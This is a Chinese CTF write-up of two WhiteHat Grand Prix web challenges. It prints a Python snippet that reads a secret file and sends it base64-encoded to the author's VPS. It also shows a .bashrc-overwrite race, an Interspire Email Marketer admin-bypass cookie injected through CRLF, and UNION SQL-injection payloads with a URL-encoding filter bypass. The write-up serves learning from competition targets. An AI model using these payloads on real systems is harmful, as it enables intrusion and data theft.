前言

昨晚听说有个国外的比赛叫whitehat,做了一会儿发现思路停滞,本打算今天再做,发现已经结束了,按老外的思路,走了一遍,还是挺有意思的
题目都没关,大家还能趁热复现一下~~

上传条件竞争与.bashrc

题目信息

题目链接:

http://web01.grandprix.whitehatvn.com/

题目描述

Description: manhndd is running a service file upload at web01.grandprix.whitehatvn.com, it is restored every 2 minutes. Every 1 minute after service starts, he ssh into server to check /var/secret. Can you get it?
Note: Player shouldn't Dos web01, you can get source code and run in local

题干分析

刚拿到这道题的时候我走进了误区,题目给出了源代码

http://web01.grandprix.whitehatvn.com/SimpleHTTPServerWithUpload.py

看到SimpleHTTPServer,我的第一反应是ph写的这篇文章

https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html

我简单的测试了这个跳转的问题

http://web01.grandprix.whitehatvn.com//example.com/%2f..


我发现的确可以成功跳转
我本以为这里可能会出现任意文件读取的问题,因为这里有flag的绝对路径/var/secret
但这里没有附带的框架来继承或者使用这个类,所以我们很难进行目录穿越的文件读取
毕竟不是web.py或者django

胡乱摸索

想到这题本身是一个上传

我们随手测试一下,发现上传的目录是/opt
然后web会将目录列出来,我们可以任意访问该目录下的文件
我又尝试了一下目录穿越

发现没有写入权限
于是我尝试了一下tmp

发现部分目录是可写的

并且直接使用/tmp/1.png这样,甚至不需要../../这样穿越

另辟蹊径

既然这一点不行,我注意到了题目的提示

Every 1 minute after service starts, he ssh into server to check /var/secret.

我当时错误的理解为了每1分钟会重启一次服务,并且鬼迷心窍的想到了另一方法
因为我发现上传的路径和SimpleHTTPServerWithUpload.py是同一个路径
当时我天真的以为,如果我在当前目录下上传一个文件名与SimpleHTTPServerWithUpload.pyimport的库名一致,就会被引入
所以我利用Burp不断上传一个名为posixpath.py的文件
内容为:

import requests
import base64
f = open('/var/secret','rb').read()
url = 'http://vps_ip:23333/?'+base64.b64encode(f)
r = requests.get(url=url)

我天真的以为在重启的时候,应该会引入这个文件,并且将flag打到我的vps
这里我利用了条件竞争与文件上传,应该满足题目的意思了吧,应该这样就是正解啦?
但是最终还是以失败告终,我的vps纹丝不动,没收到任何东西

神来之笔

后来看到writeup,才发现是

bashrc
profile

这里就要涉及到交互式shell和非交互式shell,login shell 和non-login shell
其中:
交互式模式就是shell等待你的输入,并且执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。
shell也可以运行在另外一种模式:非交互式模式。在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾,shell也就终止了。
而bashrc与profile都用于保存用户的环境信息,bashrc用于non-loginshell,而profile用于login shell
所以这里bashrc可能可以成为一个突破口,因为该文件包含专用于某个用户的bash shell的bash信息,当该用户登录时以及每次打开新的shell时,该文件被读取
所以,如果我们能将.bashrc写到用户的目录下,在其每分钟打开ssh的时候,就会执行里面的命令,那么我们只要

cp /var/secret /opt/skysky

即可在当前目录下读到flag
我们首先测试一下,home有没有写权限

显然/home目录是不行的,那我们如何知道用户名呢?
还是那个不起眼的题目描述

manhndd is running a service file upload at web01.grandprix.whitehatvn.com

难道这人叫manhndd?
我们再试试

发现的确可以成功上传
那我们尝试覆盖上传.bashrc

用burp一边上传竞争覆盖,一边访问skysky这个文件
一段时间后即可收到flag

Interspire Email Marketer

题目信息

题目链接

http://web03.grandprix.whitehatvn.com:1337/

信息搜集

右键打开源代码,拉到最底下发现

<!--<label>@Buxu: Let's try to access admin page</label></br> -->

题目要求我们登入admin页面

按照这里题目给出的要出,我们输入

发现是404
那我们简单探测一下端口
如果端口开放

如果端口关闭

简单探测的结果为

发现8088有结果

应该是301跳转了,那我们加个index.php试试

保存成html页面,查看后发现

进一步思考

探测完端口,那么8088是什么服务的默认端口?还是说题目只是随便放在这个端口了?
若是,为什么不直接放在1337端口呢?
很快,我发现了自己的眼瞎= =
那页面里写着

Interspire Email Marketer

于是顺藤摸瓜搜了一下

没错,就是这个点非常瞩目

https://www.exploit-db.com/exploits/44513/

发现可以直接绕过admin的授权,即有这个cookie即可

IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D

那我们如何发送cookie呢?

CRLF

这里的方案无意只有一点,即CRLF,因为path与host的拼接,这里很容易让人联想到能不能进行http头注入
于是我们简单构造为

{"url_path":"admin/index.php HTTP/1.1\r\nCookie: IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D\r\n","host":"127.0.0.1:8088"}

访问发现

保存为html查看一下

我们成功登入了
到此为止,感到无奈

sql注入

而后看到writeup,才知道

https://www.exploit-db.com/exploits/37935/

还有一个漏洞可以利用,即sql注入(但是据说是非预期= =)
CVE中给出的payload是这样的

http://www.example.com/admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,2,3,4--%20- [SQLi]

http://www.example.com/admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,version%28%29,3,4--%20-[SQLi]

那我们仿照进行攻击即可

{"url_path":"admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,2,3,4--%20- HTTP/1.1\r\nCookie: IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D\r\n","host":"127.0.0.1:8088"}


发现有过滤,于是我们还是老规矩,用字典fuzz一下

发现过滤的很少,考虑这里可能会对path进行urldecode,所以尝试了一下url编码绕过

union
%75nion

于是我们尝试

发现成功
注:由于有CVE,所以就不用测试列数了,就是4列
那我们去进行数据库探测,找到标志点

form_text" value="

方便后面我们取出数据,查看数据库名

查看表名

查看列名

读出数据

得到flag

WhiteHat{cbb66097f69c3938bfd4a157ab4ebe762a16c1b1}

参考链接

https://github.com/reznok/CTFWriteUps/tree/master/

源链接

Hacking more

...